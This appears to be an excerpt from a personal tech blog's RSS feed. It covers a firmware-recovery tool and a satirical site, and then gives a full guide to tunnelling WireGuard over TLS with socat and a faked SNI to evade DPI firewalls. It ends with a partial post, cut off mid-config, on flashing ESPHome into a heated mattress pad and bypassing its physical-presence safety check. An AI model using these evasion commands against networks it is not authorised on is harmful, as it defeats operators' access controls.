&lt;p&gt;This Python utility is designed for firmware recovery scenarios where multiple partial or corrupted dumps are available but no single dump is completely intact. Bin Voter can recover clean firmware images by leveraging statistical analysis across multiple corrupted sources.&lt;/p&gt;</description><content:encoded>&lt;p>Bin Voter reconstructs correct binary files from multiple corrupted firmware dumps by implementing a voting algorithm across byte positions. The tool compares corresponding bytes from multiple binary files and selects the most frequently occurring value at each position.&lt;/p>
&lt;p>This Python utility is designed for firmware recovery scenarios where multiple partial or corrupted dumps are available but no single dump is completely intact. Bin Voter can recover clean firmware images by leveraging statistical analysis across multiple corrupted sources.&lt;/p>
</content:encoded></item><item><title>DPRK.team</title><link>https://lanrat.com/projects/dprk.team/</link><pubDate>Tue, 01 Jul 2025 00:00:00 +0000</pubDate><guid>https://lanrat.com/projects/dprk.team/</guid><description>&lt;p&gt;DPRK.team is a satirical website that parodies authoritarian cybersecurity organizations through the fictional &amp;ldquo;Glorious People&amp;rsquo;s Cybersecurity Directorate.&amp;rdquo; The site presents cybersecurity services using exaggerated revolutionary rhetoric and propaganda-style messaging that mimics state-controlled digital security agencies.&lt;/p&gt;
&lt;p&gt;The project serves as a humorous commentary on totalitarian approaches to cybersecurity and digital sovereignty. The website includes typical corporate sections like services, team profiles, and past work, all delivered through an over-the-top ideological lens that lampoons authoritarian cybersecurity practices and terminology.&lt;/p&gt;</description><content:encoded><![CDATA[<p>DPRK.team is a satirical website that parodies authoritarian cybersecurity organizations through the fictional &ldquo;Glorious People&rsquo;s Cybersecurity Directorate.&rdquo; The site presents cybersecurity services using exaggerated revolutionary rhetoric and propaganda-style messaging that mimics state-controlled digital security agencies.</p>
<p>The project serves as a humorous commentary on totalitarian approaches to cybersecurity and digital sovereignty. The website includes typical corporate sections like services, team profiles, and past work, all delivered through an over-the-top ideological lens that lampoons authoritarian cybersecurity practices and terminology.</p>
]]></content:encoded></item><item><title>SOCAT and WireGuard: a perfect pair for DPI Bypass</title><link>https://lanrat.com/posts/sni-domain-fronting-vpn/</link><pubDate>Fri, 23 May 2025 20:44:55 +0000</pubDate><guid>https://lanrat.com/posts/sni-domain-fronting-vpn/</guid><description>Advanced networking technique using SNI domain fronting and socat to tunnel WireGuard VPN traffic over TLS for bypassing network restrictions.</description><content:encoded><![CDATA[<h1 id="tunneling-wireguard-over-tls-using-sni-domain-fronting">Tunneling WireGuard over TLS using SNI Domain Fronting</h1>
<p>There are numerous ways to get unrestricted egress on a restricted network. Here I will demonstrate how to use <a href="https://linux.die.net/man/1/socat">socat</a> to tunnel a UDP connection over a TLS tunnel with a faked <a href="https://en.wikipedia.org/wiki/Server_Name_Indication">SNI</a> domain in order to bypass network restrictions.</p>
<p>This technique works on a restricted network that allows outbound TLS traffic to at least a single domain, but only checks the domain in the TLS Client Hello SNI field, and not the destination IP address. I have found this to be a common setup on many captive portal or restricted networks making use of a <a href="https://en.wikipedia.org/wiki/Deep_packet_inspection">DPI</a> firewall to block all other network traffic.</p>
<p>Once an UDP tunnel is established, a UDP VPN such as <a href="https://www.wireguard.com/">WireGuard</a> can be used to route all traffic unrestricted.</p>
<p>In order to test if this strategy would work on a restricted network, make a request to a HTTPS server with fake SNI information and verify that you get a response from the server you make the request to. Not all servers send an HTTP response for hosts they are not responsible for, but most seem to. Even if its an error message, that&rsquo;s enough to verify that the connection successfully egressed the network and reached the destination server. I&rsquo;ve found Cloudflare&rsquo;s <code>1.1.1.1</code> does exactly this.</p>
<p>Use the following command replacing <code>SNI_DOMAIN</code> with the domain you want to test with. Remember, the <code>SNI_DOMAIN</code> needs to be a domain that the network allows HTTPS connections to. If the intended server responds, like the Cloudflare example below, then this method will work.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>$ curl -vk --resolve $SNI_DOMAIN:443:1.1.1.1 <span style="color:#e6db74">&#34;https://</span>$SNI_DOMAIN<span style="color:#e6db74">&#34;</span>
</span></span><span style="display:flex;"><span>&lt;html&gt;
</span></span><span style="display:flex;"><span>&lt;head&gt;&lt;title&gt;403 Forbidden&lt;/title&gt;&lt;/head&gt;
</span></span><span style="display:flex;"><span>&lt;body&gt;
</span></span><span style="display:flex;"><span>&lt;center&gt;&lt;h1&gt;403 Forbidden&lt;/h1&gt;&lt;/center&gt;
</span></span><span style="display:flex;"><span>&lt;hr&gt;&lt;center&gt;cloudflare&lt;/center&gt;
</span></span><span style="display:flex;"><span>&lt;/body&gt;
</span></span><span style="display:flex;"><span>&lt;/html&gt;
</span></span></code></pre></div><h2 id="server">Server</h2>
<p>The server only needs to be able to receive inbound network traffic on port 443. Any cheap VPS will do. A WireGuard server is also needed and can run on the same VPS. <a href="https://www.digitalocean.com/community/tutorials/how-to-set-up-wireguard-on-ubuntu-22-04">Setting up a WireGuard server</a> is outside the scope of this post.</p>
<h3 id="creating-a-ssl-certificate">Creating a SSL Certificate</h3>
<p>The server will need a TLS certificate to use for the TLS connection. Since the SNI information will be fake and the tunneled UDP connection will verify server/client keys, the security of this certificate does not matter too much. But be sure to replace the <code>subj</code> parameters with the desired values.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -sha256 -days <span style="color:#ae81ff">3650</span> -nodes -subj <span style="color:#e6db74">&#34;/C=XX/ST=StateName/L=CityName/O=CompanyName/OU=CompanySectionName/CN=CommonNameOrHostname&#34;</span>
</span></span></code></pre></div><p>Keep the <code>key.pem</code> and <code>cert.pem</code> files safe for use with socat.</p>
<h3 id="socat-server">Socat Server</h3>
<p>The socat server is what listens for inbound TLS connections and forwards the tunneled UDP traffic to the desired host.</p>
<p>Set the following variables:</p>
<ul>
<li><code>UDP_DEST</code> - Destination host to relay UDP packets to. This will be the address of the WireGuard Server.</li>
<li><code>UDP_DEST_PORT</code> - Destination port for UDP packets. Often <code>51820</code> for WireGuard.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>socat -d <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  OPENSSL-LISTEN:443,fork,reuseaddr,keepalive,cert<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;cert.pem&#34;</span>,key<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;key.pem&#34;</span>,verify<span style="color:#f92672">=</span>0,su<span style="color:#f92672">=</span>nobody,nodelay <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  UDP-SENDTO:<span style="color:#e6db74">&#34;</span>$UDP_DEST<span style="color:#e6db74">:</span>$UDP_DEST_PORT<span style="color:#e6db74">&#34;</span>
</span></span></code></pre></div><h2 id="client">Client</h2>
<p>The client is made up of the socat client and WireGuard client which connects to the server through the socat tunnel.</p>
<h3 id="socat-client">Socat Client</h3>
<p>The socat client runs on the client device on the restricted network. It connects to the socat server establishing a TLS connection with a fake SNI domain to trick the firewall to allow the traffic.</p>
<p>Set the following variables:</p>
<ul>
<li><code>SERVER</code> - The IP or hostname of the server that runs the socat listener.</li>
<li><code>SNI_DOMAIN</code> - The domain to fake traffic to. Set this to an allowed domain to appear in the SNI field of the ClientHello packet.</li>
<li><code>UDP_LISTEN_PORT</code> - UDP port to listen on locally for traffic to relay. Set so something like <code>51820</code> if using WireGuard.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>socat -d -t10 -T10 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  UDP4-LISTEN:<span style="color:#e6db74">&#34;</span>$UDP_LISTEN_PORT<span style="color:#e6db74">&#34;</span>,fork,bind<span style="color:#f92672">=</span>127.0.0.1 <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span>  OPENSSL:<span style="color:#e6db74">&#34;</span>$SERVER<span style="color:#e6db74">&#34;</span>:443,verify<span style="color:#f92672">=</span>0,snihost<span style="color:#f92672">=</span><span style="color:#e6db74">&#34;</span>$SNI_DOMAIN<span style="color:#e6db74">&#34;</span>,keepalive,nodelay
</span></span></code></pre></div><p>Remove <code>bind=127.0.0.1</code> to have the socat client listen for UDP traffic on all interfaces.</p>
<p>Optionally, socat can verify the server&rsquo;s certificate, but that is outside the scope of this post and not needed if the tunneled connection does the verification, which is the case for WireGuard.</p>
<h3 id="wireguard-client">WireGuard Client</h3>
<p>Set the WireGuard MTU to <code>1280</code> to account for the smaller packet size allowed due to the overhead of TLS tunneling.</p>
<p>Traffic destined to the socat <code>SERVER</code> will need to be routed directly and not over the WireGuard interface. This can be achieved by setting the <code>AllowedIPs</code> in the WireGuard config to exclude the IP of the socat server. If the socat client is on a different host than the WireGuard client, the socat client&rsquo;s IP will need to be excluded from <code>AllowedIPs</code> as well.</p>
<p>Tools like the <a href="https://www.procustodibus.com/blog/2021/03/wireguard-allowedips-calculator/">WireGuard AllowedIPs Calculator</a> can generate the <code>AllowedIPs</code> section of the WireGuard config to exclude a few select IPs and route everything else through the tunnel.</p>

            <link rel="stylesheet" href="/css/vendors/admonitions.53cd9f8afa9d9a8ac09093f668df057bc6d0f4bbd0886f39991a7b99934a7432.css" integrity="sha256-U82fivqdmorAkJP2aN8Fe8bQ9LvQiG85mRp7mZNKdDI=" crossorigin="anonymous">
    <div class="admonition note">
      <div class="admonition-header"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/></svg>
        <span>Note</span>
      </div>
      <div class="admonition-content">
        <p>Other services that may be listening on other ports the server will likely still be inaccessible.</p>
      </div>
    </div><h2 id="results">Results</h2>
<p>Tunnel Speedtest:
<img alt="tunnel speedtest" loading="lazy" src="/posts/sni-domain-fronting-vpn/images/tunnel_speed.webp"></p>
<p>Normal Speedtest:
<img alt="un-tunnel speedtest" loading="lazy" src="/posts/sni-domain-fronting-vpn/images/untunnel_speed.webp"></p>
<p>It&rsquo;s not pretty, but it works.</p>
<p><strong>EDIT 2025-05-28:</strong> Added information for testing with curl and WireGuard AllowedIPs.</p>
]]></content:encoded></item><item><title>Converting Sunbeam Heated Mattress Pad to ESPHome</title><link>https://lanrat.com/posts/esphome-tuya-mattress-pad/</link><pubDate>Wed, 26 Feb 2025 00:07:30 +0000</pubDate><guid>https://lanrat.com/posts/esphome-tuya-mattress-pad/</guid><description>Hardware modification guide for replacing Tuya WiFi module with ESPHome-powered ESP-12 chip in Sunbeam heated mattress pad controller.</description><content:encoded><![CDATA[<p>This post outlines the process to replace a <a href="https://developer.tuya.com/en/docs/iot/wifi-module?id=Kaiuyi301kmk4">Tuya radio module</a> with one running <a href="https://esphome.io/">ESPHome</a> to fully control a heated mattress pad locally with Home Assistant.</p>
<p><img alt="Sunbeam Heated Mattress Pad" loading="lazy" src="/posts/esphome-tuya-mattress-pad/images/sunbeam-heated-mattress-pad.webp"></p>
<p>I purchased a <a href="https://newellbrands.imgix.net/a9b10c44-e47f-3a72-b900-8cbc5bb36c2f/a9b10c44-e47f-3a72-b900-8cbc5bb36c2f.pdf">Sunbeam Heated Mattress Pad</a> for those cold winter nights. The mattress pad controller connects to WiFi and has a remote control app. However, it has a safety feature that limits functionality. The app can only adjust heat levels and turn the pad off unless you&rsquo;ve recently pressed a physical button on the controller, effectively limiting the app to changing heat levels and turning the device off.</p>
<p>I wondered about the usefulness of an app to control your bed temperature when you&rsquo;re already lying next to the controller&rsquo;s ON button. But I suppose some people prefer using their phone, which is likely already in hand, rather than reaching for a button on the nightstand.</p>
<h2 id="local-control">Local Control</h2>
<p>For better security and privacy, I explored ways to control the heated mattress pad through my <a href="https://www.home-assistant.io/">Home Assistant</a> instance.</p>
<p>The controller uses the <a href="https://www.tuya.com/">Tuya</a> IoT platform, which can integrate with Home Assistant through the unofficial <a href="https://github.com/rospogrigio/localtuya">LocalTuya</a> integration. While setup required registering with the Tuya API and initially connecting the device to the Internet, once configured, I could firewall the controller from the Internet while maintaining full control through Home Assistant. This solution worked well for a while.</p>
<h2 id="custom-firmware">Custom Firmware</h2>
<p>I eventually wanted more comprehensive local control and the ability to fully integrate the device with my other Home Assistant automations. For example, preheating the bed at bedtime when the outside temperature drops below a certain point. This meant bypassing the physical button restriction. I also wanted to remove my reliance on the unofficial LocalTuya integration and use a native integration.</p>
<p>Enter <a href="https://esphome.io/">ESPHome</a>, an open source firmware for embedded devices (primarily ESP32 chips, though others are supported) that integrates natively with Home Assistant.</p>
<h3 id="tuya-architecture">Tuya Architecture</h3>
<p>Tuya devices use a two-part system: a main MCU handling device functionality and a separate chip managing WiFi/Bluetooth and cloud operations. These chips communicate via a <a href="https://developer.tuya.com/en/docs/iot/mcu-access-hardware-design?id=Kaiuyozkmbgv0">UART serial protocol</a>.</p>
<p>The mattress pad&rsquo;s radio MCU is the <a href="https://developer.tuya.com/en/docs/iot/wbr3-module-datasheet?id=K9dujs2k5nriy"><code>WBR3</code></a>. It contains a <code>RTL8720CF</code> chip and supports some third-party firmware through <a href="https://docs.libretiny.eu/docs/status/supported/">LibreTiny</a>, but not <a href="https://github.com/esphome/issues/issues/6124">native ESPHome support yet</a>. This meant physically replacing the radio module with an ESPHome-compatible one will be required. While others have <a href="https://blakadder.com/replace-tuya-esp12/">replaced Tuya radios before</a>, each device presents unique challenges.</p>
<p>Fortunately, the ESP-12 has an almost <a href="https://developer.tuya.com/en/docs/iot/wbr3-module-datasheet?id=K9dujs2k5nriy">identical pinout to the WBR3</a>, making it a suitable replacement. Despite its name, the ESP-12 is actually an ESP8266 chip.</p>
<h3 id="initial-esp-12-flashing">Initial ESP-12 Flashing</h3>
<p>The bare ESP-12 lacks common dev-board features like a USB port, USB-to-Serial chip, boot button, or power regulator. Initial programming requires a specific <a href="https://lanrat.com/posts/programming-bare-esp-wroom-02/">wiring configuration</a> to a serial adapter, though subsequent updates can be done wirelessly via OTA.</p>
<p>Here&rsquo;s the required wiring for the initial programming over UART:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-text" data-lang="text"><span style="display:flex;"><span>[ESP]     [UART]
</span></span><span style="display:flex;"><span>TX  ------ RX
</span></span><span style="display:flex;"><span>RX  ------ TX
</span></span><span style="display:flex;"><span>EN  ------ RTS
</span></span><span style="display:flex;"><span>GPIO0 ---- DTR
</span></span><span style="display:flex;"><span>GPIO15 --- GND
</span></span><span style="display:flex;"><span>GND ------ GND
</span></span><span style="display:flex;"><span>VCC ------ 3.3v
</span></span></code></pre></div><p><code>GPIO15</code> needs to be pulled to ground for normal operations and for serial programming. So I permanently bridged <code>GPIO15</code> to the neighboring <code>GND</code> pin.</p>
<p><img alt="ESP-12 Pinout" loading="lazy" src="/posts/esphome-tuya-mattress-pad/images/ESP-12-pinout.webp"></p>
<p><img alt="ESP-12 UART Programming" loading="lazy" src="/posts/esphome-tuya-mattress-pad/images/esp12_uart_programming.webp"></p>
<p>After connecting the ESP-12 to my <a href="https://www.crowdsupply.com/securinghw/tigard">USB UART adapter</a>, I flashed a basic minimal ESPHome configuration to enable network connectivity and OTA updates.</p>
<h2 id="adding-the-esp-radio">Adding the ESP Radio</h2>
<p>Even though the ESP-12 is pin compatible with the WBR3, and can be replaced directly with it, I decided to keep the original Tuya module just in case it was ever needed in the future, and more importantly, remove the risk of breaking something in the desoldering process.</p>
<p>To disable the WBR3 without removing it, I grounded its EN (enable) pin, keeping the WBR3 permanently off and preventing conflicts with the ESP-12 when communicating over the now shared UART.</p>
<p>I then connected the ESP-12 to the UART Tx, Rx, 3.3v, GND, and added a connection from <code>GPIO5</code> to the presence button on the control panel.</p>
<p>The ESP-12 now effectively replaces the WBR3, handling all UART communication and drawing power from the WBR3&rsquo;s voltage regulator. As a bonus, it can simulate physical button presses via the GPIO line, bypassing the presence check requirement.</p>
<p><img alt="ESP-12 Soldered" loading="lazy" src="/posts/esphome-tuya-mattress-pad/images/esp12-soldered.webp"></p>
<p><img alt="GPIO activity button wire" loading="lazy" src="/posts/esphome-tuya-mattress-pad/images/controller-baord-with-gpio-activity-wire.webp"></p>

            <link rel="stylesheet" href="/css/vendors/admonitions.53cd9f8afa9d9a8ac09093f668df057bc6d0f4bbd0886f39991a7b99934a7432.css" integrity="sha256-U82fivqdmorAkJP2aN8Fe8bQ9LvQiG85mRp7mZNKdDI=" crossorigin="anonymous">
    <div class="admonition warning">
      <div class="admonition-header"><svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 32c14.2 0 27.3 7.5 34.5 19.8l216 368c7.3 12.4 7.3 27.7 .2 40.1S486.3 480 472 480L40 480c-14.3 0-27.6-7.7-34.7-20.1s-7-27.8 .2-40.1l216-368C228.7 39.5 241.8 32 256 32zm0 128c-13.3 0-24 10.7-24 24l0 112c0 13.3 10.7 24 24 24s24-10.7 24-24l0-112c0-13.3-10.7-24-24-24zm32 224a32 32 0 1 0 -64 0 32 32 0 1 0 64 0z"/></svg>
        <span>Warning</span>
      </div>
      <div class="admonition-content">
        <p><strong>The control unit has the low voltage negative/ground plane connected directly to mains neutral!</strong> While this “works” it is considered unsafe and potentially dangerous. This effectively means that when the device is connected to mains AC power, mains current may be flowing through the low voltage components, even when off. Since voltage is relative, they will work just fine as long as nothing else connects to the low voltage components not expecting mains neutral on the ground plane!
As a result, if you want to debug with UART, or flash the ESP, you MUST do it with the mains plug fully disconnected!
I learned this the hard way. I fried a USB-UART adapter which did not appreciate the mains power surging through it. After this happened I mapped out the traces on the PCB to discover this design flaw.
<strong>As long as mains power is connected, do not let anything external interact with the device! Ever.</strong></p>
      </div>
    </div><p>Finally, I secured the new ESP-12 by hot-gluing it directly over the disabled WBR3.</p>
<p><img alt="ESP-12 on top of WBR3" loading="lazy" src="/posts/esphome-tuya-mattress-pad/images/ESP12-on-top-wbr3.webp"></p>
<h2 id="esphome-configuration">ESPHome Configuration</h2>
<p>ESPHome includes a <a href="https://esphome.io/components/tuya.html">component for the Tuya UART protocol</a>. I just needed to identify the correct data point numbers and types. Fortunately, these matched the data points already used by the LocalTuya integration, and are documented in this <a href="https://community.home-assistant.io/t/integration-with-sunbean-wifi-heated-mattress-pad/362588">Home Assistant Community thread</a>.</p>
<p>To automatically bypass the physical button requirement, I programmed ESPHome to toggle <code>GPIO5</code>, simulating a button press before activating the mattress pad. I also simplified the interface by replacing Tuya&rsquo;s drop-down menus with more intuitive controls in Home Assistant, such as using a slider for heat levels instead of select menus.</p>
<p>You can view my ESPHome configuration below.</p>
<h2 id="code">Code</h2>


<p><details >
  <summary markdown="span"><strong>Full ESPHome Config</strong></summary>
  <div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;"><code class="language-yaml" data-lang="yaml"><span style="display:flex;"><span><span style="color:#f92672">substitutions</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">node_name</span>: <span style="color:#ae81ff">mattress</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">esphome</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">name</span>: <span style="color:#ae81ff">${node_name}</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">friendly_name</span>: <span style="color:#ae81ff">Mattress</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">esp8266</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">board</span>: <span style="color:#ae81ff">esp12e</span> <span style="color:#75715e"># the board is a ESP-12F, but this is close enough</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">wifi</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ssid</span>: !<span style="color:#ae81ff">secret wifi_name</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">password</span>: !<span style="color:#ae81ff">secret wifi_password</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">ap</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">ssid</span>: <span style="color:#ae81ff">${node_name} AP</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">password</span>: !<span style="color:#ae81ff">secret hotspot_password</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># fallback mechanism for when connecting to the configured WiFi fails.</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">captive_portal</span>:
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Enable Home Assistant API</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">api</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">encryption</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">key</span>: !<span style="color:#ae81ff">secret api_encryption_key</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">ota</span>:
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#ae81ff">esphome</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">password</span>: !<span style="color:#ae81ff">secret ota_password</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">time</span>:
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#ae81ff">homeassistant</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">id</span>: <span style="color:#ae81ff">time_hass</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">logger</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">baud_rate</span>: <span style="color:#ae81ff">0</span> <span style="color:#75715e"># (UART logging interferes with tuya)</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">web_server</span>:
</span></span><span style="display:flex;"><span>   <span style="color:#f92672">port</span>: <span style="color:#ae81ff">80</span>
</span></span><span style="display:flex;"><span>   <span style="color:#f92672">include_internal</span>: <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">status_led</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">pin</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">number</span>: <span style="color:#ae81ff">GPIO2</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">inverted</span>: <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">uart</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">rx_pin</span>: <span style="color:#ae81ff">RX</span> <span style="color:#75715e">#GPIO3</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">tx_pin</span>: <span style="color:#ae81ff">TX</span> <span style="color:#75715e">#GPIO1</span>
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">baud_rate</span>: <span style="color:#ae81ff">9600</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># https://esphome.io/components/tuya</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">tuya</span>:
</span></span><span style="display:flex;"><span>  <span style="color:#f92672">time_id</span>: <span style="color:#ae81ff">time_hass</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">binary_sensor</span>:
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#ae81ff">status</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">Status</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">sensor</span>:
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#ae81ff">wifi_signal</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">WiFi Signal</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">update_interval</span>: <span style="color:#ae81ff">10s</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">filters</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#f92672">throttle_average</span>: <span style="color:#ae81ff">60s</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  <span style="color:#75715e"># node uptime sensor</span>
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#ae81ff">uptime</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">Boot Time</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">id</span>: <span style="color:#ae81ff">uptime_sensor</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">icon</span>: <span style="color:#ae81ff">mdi:clock-start</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">type</span>: <span style="color:#ae81ff">timestamp</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#e6db74">&#34;tuya&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">Side A Auto Off Timer</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">sensor_datapoint</span>: <span style="color:#ae81ff">28</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">icon</span>: <span style="color:#ae81ff">mdi:timer-stop-outline</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">entity_category</span>: <span style="color:#ae81ff">diagnostic</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">unit_of_measurement</span>: <span style="color:#ae81ff">seconds</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#e6db74">&#34;tuya&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#ae81ff">Side B Auto Off Timer</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">sensor_datapoint</span>: <span style="color:#ae81ff">29</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">icon</span>: <span style="color:#ae81ff">mdi:timer-stop-outline</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">entity_category</span>: <span style="color:#ae81ff">diagnostic</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">unit_of_measurement</span>: <span style="color:#ae81ff">seconds</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">switch</span>:
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Master</span>
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#e6db74">&#34;tuya&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">id</span>: <span style="color:#ae81ff">master_power_sw</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">switch_datapoint</span>: <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">restore_mode</span>: <span style="color:#ae81ff">DISABLED</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">internal</span>: <span style="color:#66d9ef">true</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">on_turn_off</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#f92672">switch.turn_off</span>: <span style="color:#ae81ff">master_preheat_sw</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>  - <span style="color:#f92672">platform</span>: <span style="color:#ae81ff">template</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">name</span>: <span style="color:#e6db74">&#34;Master Power&#34;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">icon</span>: <span style="color:#ae81ff">mdi:car-seat-heater</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">lambda</span>: |-<span style="color:#e6db74">
</span></span></span><span style="display:flex;"><span><span style="color:#e6db74">      return id(master_power_sw).state;</span>
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">turn_on_action</span>:
</span></span><span style="display:flex;"><span>      - <span style="color:#f92672">switch.turn_on</span>: <span style="color:#ae81ff">activity_btn</span>
</span></span><span style="display:flex;"><span>      - <span style="color:#f92672">delay</span>: <span style="color:#ae81ff">0.</span><span style="color:#ae81ff">5s</span>
